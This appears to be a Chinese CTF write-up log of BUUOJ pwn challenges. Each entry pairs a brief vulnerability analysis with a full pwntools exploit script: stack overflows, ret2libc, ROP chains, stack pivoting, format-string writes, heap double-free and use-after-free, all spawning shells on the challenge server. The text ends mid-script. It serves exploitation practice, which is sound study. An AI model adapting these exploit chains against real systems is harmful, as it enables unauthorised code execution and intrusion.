BUUOJ做题记录-PWN(一)
rip--简单Stack_overflow劫持程序流
from pwn import *
context(log_level='debug')
p=remote('node3.buuoj.cn',25812)
#p=process('./pwn1')
#gdb.attach(p)
ret_addr=0x0000000000401186
offset=0xF+0x8
ret=0x0000000000401016
payload='a'*offset+p64(ret)+p64(ret_addr)
#p.recvuntil("please input\n")
p.sendline(payload)
p.interactive()
warmup_csaw_2016--简单Stack_overflow劫持程序流
from pwn import *
context(log_level='debug')
p=remote('node3.buuoj.cn',26027)
p.recvuntil(">")
ret_addr=0x000000000040060D
payload='a'*0x48+p64(ret_addr)
p.sendline(payload)
p.interactive()
pwn1_sctf_2016--简单Stack_overflow劫持程序流
容易发现程序留有后门函数get_flag(),所以思路是实现栈溢出并将返回地址覆盖为后门函数
但是程序控制了输入字符串的长度是31,同时replace()函数会查找input中的字符串’I‘将其替换成'you',利用这个特点绕过限制,exp:
from pwn import *
context(log_level='debug')
p=remote('node3.buuoj.cn',29383)
#p=process('./pwn1_sctf_2016')
#p.recvuntil('Tell me something about yourself:')
def sta_leak(str,ret_addr):
return str+p32(ret_addr)
#pd=str+p64(ret_addr)
pd=sta_leak('I'*21+'a',0x08048F0D)
p.sendline(pd)
p.interactive()
ciscn_2019_n_1--浮点数在内存中的存储
exp:
from pwn import *
context(log_level='debug')
p=remote('node3.buuoj.cn',28564)
p.recvuntil("Let's guess the number.\n")
payload='a'*(0x30-0x4)+'\x00\x80\x34\x41'
p.sendline(payload)
p.interactive()
ciscn_2019_c_1&ciscn_2019_en_2--简单ret2libc
这两道题目是相同的,首先在ida中分析可以看到整个程序最关键的其实只有encrypt()加密函数,在这个函数中gets()漏洞函数提供了明显的栈溢出点,同时在尝试输入后可以发现只有前0x50个字节经过异或加密处理。因此通过泄露地址得到system()实际地址以getshell。
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug')
p=remote('node3.buuoj.cn',29118)
#p=process('./ciscn_2019_c_1')
#gdb.attach(p)
elf=ELF('./ciscn_2019_c_1')
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
ru("choice!\n")
sl('1')
ru("encrypted\n")
pop_rdi_ret=0x400c83
ret_addr=0x4009A0
payload='a'*(0x50+0x8)
payload+=p64(pop_rdi_ret)+p64(elf.got['__libc_start_main'])+p64(elf.plt['puts'])+p64(ret_addr)
sl(payload)
ru("\n")
ru("\n")
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
print hex(leak_addr)
libc=LibcSearcher('__libc_start_main',leak_addr)
offset=leak_addr-libc.dump("__libc_start_main")
sys_addr=offset+libc.dump("system")
bin_sh=offset+libc.dump("str_bin_sh")
ret=0x4006b9
pd='a'*(0x50+0x8)+p64(pop_rdi_ret)+p64(bin_sh)+p64(ret)+p64(sys_addr)
ru("encrypted\n")
sl(pd)
p.interactive()
[OGeek2019]babyrop--简单rop
IDA分析程序,先使用伪随机数生成器从文件中读入伪随机数,随后与我们的输入进行比较,但是使用了strlen()函数,我们可以通过'\x00'进行截断,随后传出栈中的一个变量值作为返回值,我们可以通过read()函数将其覆盖,并作为接下来函数中read()函数的字节数。这样,得到栈溢出点,ret2libc进行rop,getshell:
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
p=remote('node3.buuoj.cn',26255)
#p=process('./pwn1')
#gdb.attach(p)
e=ELF("./pwn1")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
pd='\x00'+'\xFF'*(0x2C-0x25+1)+'\x00'
sl(pd)
pd='a'*(0xE7+0x4)+p32(e.plt['puts'])+p32(0x08048825)+p32(e.got['puts'])
ru('Correct\n')
sl(pd)
leak_addr=u32(p.recv(4))
print hex(leak_addr)
libc=LibcSearcher('puts',leak_addr)
offset=leak_addr-libc.dump('puts')
sys_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
pd='\x00'+'\xFF'*(0x2C-0x25+1)+'\x00'
sl(pd)
pd='a'*(0xE7+0x4)+p32(sys_addr)+p32(0)+p32(bin_sh)
ru('Correct\n')
sl(pd)
p.interactive()
get_started_3dsctf_2016/not_the_same_3dsctf_2016
IDA中分析程序很容易发现会有一个get_flag函数,本打算通过栈传递所需参数执行get_flag函数,但是远程无法实现。同时,程序中在gets()函数前没有执行其他任意函数,所以通过泄露libc中函数地址来getshell也无法实现。但是分析程序可以发现,程序中有很多函数,open/read/write/mprotect等等,所以有栈溢出点的情况下有很多尝试的方向,可以通过ROP结合orw来读取靶机中的flag.txt文件,也可以将shellcode注入bss段并通过mprotect修改权限后执行,exp:
from pwn import *
context(log_level='debug')
p=remote('node3.buuoj.cn',26638)
#p=process('./get_started_3dsctf_2016')
#gdb.attach(p)
e=ELF("./get_started_3dsctf_2016")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
#ru("Qual a palavrinha magica? ")
buf=0x080EBF80
#这里为了保持栈平衡,需要在返回地址处将三个参数弹栈
pop3_ret=0x080509a5
#这里的偏移量是0x38,因为在IDA中可以看到在0处便是ret_addr位置,并不是通常的ebp
pd='a'*0x38+p32(e.symbols['read'])+p32(pop3_ret)+p32(0)+p32(buf)+p32(0x10)
pd+=p32(e.symbols['open'])+p32(pop3_ret)+p32(buf)+p32(0)+p32(0)
pd+=p32(e.symbols['read'])+p32(pop3_ret)+p32(3)+p32(buf)+p32(0x30)
pd+=p32(e.symbols['write'])+p32(pop3_ret)+p32(1)+p32(buf)+p32(0x30)
sl(pd)
sl("./flag.txt\x00")
sleep(1)
p.interactive()
第二道题目与这道题目类似,直接给出exp:
from pwn import *
context(log_level='debug')
p=remote('node3.buuoj.cn',26368)
#p=process('./not_the_same_3dsctf_2016')
#gdb.attach(p)
e=ELF("./not_the_same_3dsctf_2016")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
#ru("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ")
pop3_ret=0x0804f420
buf=0x080ECA00
pd='a'*0x2D+p32(e.symbols['read'])+p32(pop3_ret)+p32(0)+p32(buf)+p32(0x10)
pd+=p32(e.symbols['open'])+p32(pop3_ret)+p32(buf)+p32(0)+p32(0)
pd+=p32(e.symbols['read'])+p32(pop3_ret)+p32(3)+p32(buf)+p32(0x30)
pd+=p32(e.symbols['write'])+p32(pop3_ret)+p32(1)+p32(buf)+p32(0x30)
sl(pd)
sl("./flag.txt\x00")
sleep(1)
p.interactive()
[第五空间2019 决赛]PWN5--简单格式化字符串漏洞
程序开启了canary保护,且canary难以爆破,只有想办法绕过执行getshell代码的判断条件,发现程序中有格式化漏洞点printf(&buf)
,造成任意地址写,于是我们使用pwntools下的工具生成payload(偏移量为10,可通过调试,在printf(&buf)前下断点查看栈顶指针得到),向存储了随机数的地址unk_804C044
处写入固定数,绕过判断。
from pwn import *
context(log_level='debug')
p=remote('node3.buuoj.cn',25789)
#p=process('./pwn2')
#gdb.attach(p)
e=ELF("./pwn2")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
ru("your name:")
pd=fmtstr_payload(10,{0x804C044:0x10})
sl(pd)
ru("your passwd:")
sl("16")
p.interactive()
[Black Watch 入群题]PWN--简单stack_pivot
程序有栈溢出点,但是只能溢出8字节,想到利用栈迁移,结合前面的程序中可以向bss段写入任意字符,我们先向bss段注入ROP链,然后劫持程序流泄露libc中函数地址从而getshell,exp:
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug')
p=remote('node3.buuoj.cn',25523)
#p=process('./spwn')
#gdb.attach(p)
e=ELF("./spwn")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
leave_ret=0x08048408
buf=0x0804A300
main=0x08048513
ru("What is your name?")
pd=p32(e.plt['write'])+p32(main)+p32(1)+p32(e.got['write'])+p32(0x4)
sd(pd)
ru("What do you want to say?")
pd='a'*0x18+p32(buf-4)+p32(leave_ret)
sd(pd)
leak_addr=u32(p.recv(4))
print hex(leak_addr)
libc=LibcSearcher('write',leak_addr)
offset=leak_addr-libc.dump('write')
sys_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
print hex(sys_addr)
print hex(bin_sh)
ru("What is your name?")
pd=p32(sys_addr)+p32(0)+p32(bin_sh)
sd(pd)
ru("What do you want to say?")
pd='a'*0x18+p32(buf-4)+p32(leave_ret)
sd(pd)
p.interactive()
ciscn_2019_n_8--简单栈覆盖
从下面程序的输出来看,可以猜测var数组中存储的是整型变量,所以var[13]前面应该需要填充4*13个字节,exp:
from pwn import *
context(log_level='debug')
p=remote('node3.buuoj.cn',27212)
#p=process('./ciscn_2019_n_8')
#gdb.attach(p)
e=ELF("./ciscn_2019_n_8")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
pd='a'*0x34+'\x11'
ru("What's your name?\n")
sl(pd)
p.interactive()
gyctf_2020_borrowstack--简单栈迁移
在IDA中分析程序,可以发现第一个read()限制了栈溢出字节,典型栈迁移的特征,随后可以向bss变量段注入,于是我们的思路是在bss上构造ROP链,利用两次leave_ret实现栈迁移,以执行我们的ROP链劫持程序流,exp如下:
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=0
binary_name='borrowstack'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',29785)
e=ELF("./"+binary_name)
#libc=ELF()
#gdb.attach(p)
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
leave_ret=0x400699
bss_start=0x601080
pd='a'*0x60+p64(bss_start+0x60-8)+p64(leave_ret)
sd(pd)
ru("Done!You can check and use your borrow stack now!\n")
read_bss=0x400680
pop_rdi_ret=0x400703
pop_rbp_ret=0x400590
pd='a'*0x60+p64(pop_rdi_ret)+p64(e.got['puts'])+p64(e.plt['puts'])+p64(pop_rbp_ret)+p64(bss_start+0x60-8)+p64(read_bss)
sd(pd)
leak_addr=u64(p.recv(6).ljust(8,"\x00"))
libc=LibcSearcher('puts',leak_addr)
offset=leak_addr-libc.dump('puts')
sys_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
ret=0x4004c9
one_gadget=0x4526a+offset
pd='a'*0x60+p64(one_gadget)
sd(pd)
p.interactive()
这里有两个坑,记录一下:
1.我们的ROP链应该距离bss_start有一定偏移量,否则无法正常泄露puts_got的地址
2.得到libc偏移量后若直接system("/bin/sh"),则打不通,程序会在执行system函数中崩掉,所以我们去相应libc中找到合适的one_gadget
babyheap_0ctf_2017--简单堆溢出利用fastbin double free
分析程序,首先查看保护,发现所有保护全开,FULL RELRD
说明我们不能改写got表进行泄露,同时开启了ASLR.程序在一开始进行了内存映射操作,得到随即地址,分析Allocate()
函数发现在这一随机地址上,每24个字节作为一个结构体,且申请内存的时候使用了calloc()函数,会自动在申请内存后进行清零,所以我们无法在double free small chunk后直接泄露地址,但是在开启随即地址化的情况下,调试可以发现我们allocate到的第一个chunk的起始地址最后12位都是0.接着分析Fill()
函数发现可以向chunk块中写入任意size的内容,典型的堆溢出.接着,分析Free()
函数发现没有UAF漏洞,无法利用,最后Dump函数会输出chunk中申请的size大小的内存内容.所以,综合来看我们可以利用堆溢出漏洞伪造fake chunk,结合fastbin double free实现多指针指向同一chunk块,从而泄露地址,覆盖malloc_hook地址来getshell,exp如下:
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=0
binary_name='babyheap'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',26728)
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def alloc(size):
sla("Command: ",'1')
sla("Size: ",str(size))
def fill(idx,content):
sla("Command: ",'2')
sla("Index: ",str(idx))
sla("Size: ",str(len(content)))
sla("Content: ",content)
def free(idx):
sla("Command: ",'3')
sla("Index: ",str(idx))
def dump(idx):
sla("Command: ",'4')
sla("Index: ",str(idx))
ru("Content: \n")
z('b *0x555555554dcc\nb *0x555555555022\nb *0x555555555113\nb *0x555555554F43')
alloc(0x10)#0
alloc(0x10)#1
alloc(0x10)#2
alloc(0x10)#3
alloc(0x90)#4
free(1)
free(2)#2->fd=1
fill(3,p64(0)*3+p64(0x21))
fill(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+'\x80')#2->fd=4
alloc(0x10)#1->2
alloc(0x10)#2->4
alloc(0x60)#5
fill(3,p64(0)*3+p64(0xa1))
free(4)
dump(2)
leak_addr=u64(p.recv(8))
print hex(leak_addr)
offset=leak_addr-88-libc.sym['__malloc_hook']-0x10
print hex(offset)
alloc(0x60)#4
alloc(0x60)#6
alloc(0x60)#7
free(6)
free(7)
fill(5,p64(0)*13+p64(0x71)+p64(0)*13+p64(0x71)+p64(offset+libc.sym['__malloc_hook']-35))
alloc(0x60)#6->7
alloc(0x60)#7->fake_chunk
one_gadget=0x4526a
fill(7,'a'*19+p64(offset+one_gadget))
alloc(0x10)
p.interactive()
pwnable_hacknote
分析程序,add()函数不存在堆溢出,delete()函数存在明显的UAF漏洞,print()函数可以帮助我们利用UAF漏洞,综合来看,这道题应该主要利用UAF漏洞即可,由于在add()函数中并没有对申请的content块的大小有所限制,所以暂时至少有两种思路可以泄露地址,其一:通过small chunk释放后加入unsorted bin,fd和bk指向main_arena
泄露,其二:利用释放后没有将指针设为NULL的漏洞,构造两个指针指向同一个结构体和content的chunk块,覆盖content为got表地址泄露,泄露地址后利用UAF漏洞覆盖函数地址为system地址可以getshell,但是这里有一个麻烦:结构体中的函数的参数是函数地址本身,也就是说实际执行的system函数的参数是system函数地址,会导致失败,这里利用了Linux连续执行多条命令的知识点,我们可以利用||
绕过前面的错误指令来继续执行正确的指令,exp:
其一:
from pwn import *
context(log_level='debug',arch='i386')
local=0
binary_name='hacknote'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',25985)
e=ELF("./"+binary_name)
libc=ELF("./libc_32.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()
def add(size,content):
sla("Your choice :",'1')
sla("Note size :",str(size))
sla("Content :",content)
ru("Success !\n")
def dele(idx):
sla("Your choice :",'2')
sla("Index :",str(idx))
ru("Success\n")
def show(idx):
sla("Your choice :",'3')
sla("Index :",str(idx))
z('b *0x0804869A\nb *0x0804872C\nb *0x08048863\nb *0x08048879\nb *0x08048903\n')
add(0x90,'a')#0
add(0x90,'a')#1
dele(0)
add(0x90,'')#2
show(2)
p.recv(4)
leak_addr=u32(p.recv(4))
print hex(leak_addr)
offset=leak_addr-libc.sym['__malloc_hook']-0x18-48
#add(0x90,'a')#3
dele(0)
dele(1)
#one_gadget=0x5fbc6
sla("Your choice :",'1')
sla("Note size :",str(0x8))
ru("Content :")
sd(p32(offset+libc.sym['system'])+'||$0')
#add(0x8,p32(offset+libc.sym['system'])+'||$0')#4
show(2)
p.interactive()
其二:
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386')
local=0
binary_name='hacknote'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
#libc=e.libc
else:
p=remote('node3.buuoj.cn:',26000)
e=ELF("./"+binary_name)
#libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
#libc=ELF("./libc_32.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()
def add(size,content):
sla("Your choice :",'1')
sla("Note size :",str(size))
sla("Content :",content)
ru("Success !\n")
def dele(idx):
sla("Your choice :",'2')
sla("Index :",str(idx))
ru("Success\n")
def show(idx):
sla("Your choice :",'3')
sla("Index :",str(idx))
#z('b *0x0804869A\nb *0x0804872C\nb *0x08048863\nb *0x08048879\nb *0x08048903\n')
add(0x10,'a')#0
add(0x10,'a')#1
dele(0)
dele(1)
sla("Your choice :",'1')
sla("Note size :",str(0x8))
ru("Content :")
p.send(p32(0x0804862B)+p32(e.got['puts']))
ru("Success !\n")
show(0)
leak_addr=u32(p.recv(4))
libc=LibcSearcher('puts',leak_addr)
offset=leak_addr-libc.dump('puts')
dele(2)
sla("Your choice :",'1')
sla("Note size :",str(0x8))
ru("Content :")
p.send(p32(offset+libc.dump('system'))+'||$0')
ru("Success !\n")
#add(0x8,p32(offset+libc.sym['system'])+';sh\x00')#3
sla("Your choice :",'3')
ru("Index :")
sd('0')
p.interactive()
[HarekazeCTF2019]baby_rop--简单ROP
分析程序,发现程序中本身含有system函数,查找字符串可以看到有'/bin/sh'
字符串,所以我们直接利用输入的栈溢出漏洞即可,exp:
from pwn import *
context(log_level='debug',arch='amd64')
local=0
binary_name='babyrop2'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',29656)
e=ELF("./"+binary_name)
#libc=ELF()
#gdb.attach(p)
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ru("What's your name? ")
pop_rdi_ret=0x400683
bin_sh=0x601048
ret=0x400479
pd='a'*(0x10+0x8)+p64(pop_rdi_ret)+p64(bin_sh)+p64(ret)+p64(e.plt['system'])
sl(pd)
p.interactive()
但是这道题目最后ls
命令后不像通常一样在主目录下就有flag文件,我们使用find -name flag
命令查找flag文件即可发现路径是:/home/babyrop/flag
[HarekazeCTF2019]baby_rop2--简单ret2libc
分析程序,发现明显可利用的栈溢出,利用printf()
函数泄露已执行库函数的got表,随后是常见的ret2libc的套路,exp如下:
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=0
binary_name='babyrop2'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',27004)
e=ELF("./"+binary_name)
libc=ELF("./libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
z()
ru("What's your name? ")
pop_rdi_ret=0x400733
pd='a'*(0x20+0x8)+p64(pop_rdi_ret)+p64(e.got['read'])+p64(e.plt['printf'])+p64(0x400636)
sl(pd)
ru("\n")
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
offset=leak_addr-libc.sym['read']
sys_addr=offset+libc.sym['system']
bin_sh=offset+libc.search("/bin/sh").next()
print hex(sys_addr)
ru("What's your name? ")
pd='a'*(0x20+0x8)+p64(pop_rdi_ret)+p64(bin_sh)+p64(sys_addr)
sl(pd)
p.interactive()
铁人三项(第五赛区)_2018_rop--简单rop2libc
常见ret2libc套路,exp如下:
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386')
local=0
binary_name='2018_rop'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',27645)
e=ELF("./"+binary_name)
#libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
pd='a'*(0x88+0x4)+p32(e.plt['write'])+p32(0x080484C6)+p32(1)+p32(e.got['write'])
sl(pd)
leak_addr=leak_address()
print hex(leak_addr)
libc=LibcSearcher('write',leak_addr)
libc_base=leak_addr-libc.dump('write')
sys_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
ret=0x08048199
pd='a'*(0x88+0x4)+p32(sys_addr)+p32(ret)+p32(bin_sh)
sl(pd)
p.interactive()
bjdctf_2020_babystack--简单ROP劫持程序流
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=0
binary_name='bjdctf_2020_babystack'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',29361)
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
ru("[+]Please input the length of your name:\n")
sl(str(0xffff))
pd='a'*(0x10+0x8)+p64(0x4006E6)
sl(pd)
p.interactive()
pwn2_sctf_2016--整数溢出&ret2libc
get_n
函数中第二个参数是unsigned int
类型,造成整数溢出,可以利用-1
绕过限制,然后利用printf
函数泄露got表的地址,ret2libc即可,exp如下:
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386')
local=1
binary_name='pwn2_sctf_2016'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
#libc=e.libc
else:
p=remote('node3.buuoj.cn',29660)
e=ELF("./"+binary_name)
#libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
#z()
ru("How many bytes do you want me to read? ")
sl("-1")
ru("bytes of data!\n")
#pd='/bin/sh;'+'a'*(0x2c+0x4-0x8)+p32(0x080484CD)
#pd='a'*(0x2c+0x4)+p32(0x080484CD)
main=0x080485B8
pd='a'*(0x2c+0x4)+p32(e.plt['printf'])+p32(main)+p32(e.got['printf'])
sl(pd)
ru('\n')
leak_addr=leak_address()
print hex(leak_addr)
ru("How many bytes do you want me to read? ")
sl("-1")
ru("bytes of data!\n")
libc=LibcSearcher('printf',leak_addr)
offset=leak_addr-libc.dump('printf')
sys_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
print hex(bin_sh)
pop_ebx_ret=0x0804835d
pd='a'*(0x2c+0x4)+p32(sys_addr)+'a'*4+p32(bin_sh)
sl(pd)
p.interactive()
ciscn_2019_ne_5--stackoverflow&ret2text
分析程序可以发现,在GetFlag()
函数里会把src字符串的内容拷贝给dest,dest字符串空间比src要小,存在栈溢出点。同时,程序中有system()
函数,需要直接利用plt表,exp如下:
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386')
local=0
binary_name='ciscn_2019_ne_5'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',28107)
e=ELF("./"+binary_name)
#libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
z('b *0x080486c7\n')
ru("password:")
sl("administrator")
ru("0.Exit\n:")
sl('1')
ru("Please input new log info:")
main=0x08048722
pd='a'*(0x48+0x4)+p32(e.plt['puts'])+p32(0x08048722)+p32(e.got['printf'])
sl(pd)
ru("0.Exit\n:")
sl('4')
ru("\n")
leak_addr=leak_address()
print hex(leak_addr)
libc=LibcSearcher('printf',leak_addr)
offset=leak_addr-libc.dump('printf')
#sys_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
#print hex(sys_addr)
print hex(bin_sh)
ru("password:")
sl("administrator")
ru("0.Exit\n:")
sl('1')
ru("Please input new log info:")
ret=0x0804843e
pd='a'*(0x48+0x4)+p32(e.plt['system'])+p32(main)+p32(bin_sh)
sl(pd)
ru("0.Exit\n:")
sl('4')
p.interactive()
ez_pz_hackover_2016
这道题IDA中vuln()
函数中的偏移量应该是不准确的,我通过不断爆破的方式得到了正确的偏移量,并且采用了ret2libc而不是ret2shellcode的方法,exp如下:
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386')
local=0
binary_name='ez_pz_hackover_2016'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',26167)
e=ELF("./"+binary_name)
libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
z()
ru("Yippie, lets crash: ")
leak_addr=int(p.recv(10),16)
print hex(leak_addr)
ru('> ')
main=0x080486E2
pd='crashme\x00'+'a'*18+p32(e.plt['printf'])+p32(main)+p32(e.got['printf'])
sl(pd)
ru("crashme!\n")
leak_addr=leak_address()
print hex(leak_addr)
libc=LibcSearcher('printf',leak_addr)
offset=leak_addr-libc.dump('printf')
sys_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
ru('> ')
pd='crashme\x00'+'a'*18+p32(sys_addr)+p32(main)+p32(bin_sh)
sl(pd)
p.interactive()
babyfengshui_33c3_2016--堆溢出
分析程序,寻找漏洞点,发现在防止堆溢出的判断上存在漏洞,判断条件默认了我们description
的chunk和大小为0x80的chunk是物理相连的,我们只要释放低地址的chunk后,将desciprtion
的chunk地址分配在低地址上就可以控制0x80大小chunk中user_data的前四个字节,即:&description
,实现任意地址读写,将其修改成free()
函数的got
表地址,读可以泄露Libc,写可以劫持程序流getshell。这里还有一点需要注意的是,程序在向地址中进行写的时候会将'\x0a'
覆盖成结束符\x00
,所以在修改free()
函数got
表时,会多覆盖一个'\x00'
,此时再选择其他操作程序便会跑崩掉,exp如下:
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386')
local=1
binary_name='babyfengshui_33c3_2016'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',28089)
e=ELF("./"+binary_name)
libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
def add(size_des,name,len_des,des):
ru("Action: ")
sl('0')
ru("size of description: ")
sl(str(size_des))
ru("name: ")
sl(name)
ru("text length: ")
sl(str(len_des))
ru("text: ")
sl(des)
def delete(idx):
ru("Action: ")
sl('1')
ru("index: ")
sl(str(idx))
def show(idx):
ru("Action: ")
sl('2')
ru("index: ")
sl(str(idx))
def edit(idx,len_des,des):
ru("Action: ")
sl('3')
ru("index: ")
sl(str(idx))
ru("text length: ")
sl(str(len_des))
ru("text: ")
sl(des)
z('b *0x08048859\nb *0x08048833\nb *0x08048948\nb *0x0804895F\nb *0x080489F6\n')
add(0x10,'a',0x10,'a')#0
add(0x10,'a',0x10,'a')#1
delete(0)
pd='a'*0x84+p32(0x19)+'a'*0x14+p32(0x89)+p32(e.got['free'])
print hex(e.got['free'])
add(0x80,'a',0xa8,pd)#2
add(0x20,'a',0x20,'/bin/sh\x00')#3
#edit(1,0x4,p32(e.plt['puts']))
show(1)
ru("description: ")
leak_addr=leak_address()
print hex(leak_addr)
libc=LibcSearcher('free',leak_addr)
offset=leak_addr-libc.dump('free')
sys_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
edit(1,0x4,p32(sys_addr))
delete(3)
p.interactive()
ciscn_2019_n_5--简单ret2shellcode
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=0
binary_name='ciscn_2019_n_5'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',25099)
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
def Getflag(p):
p.sendline('cat /flag')
return p.recvrepeat(0.3)
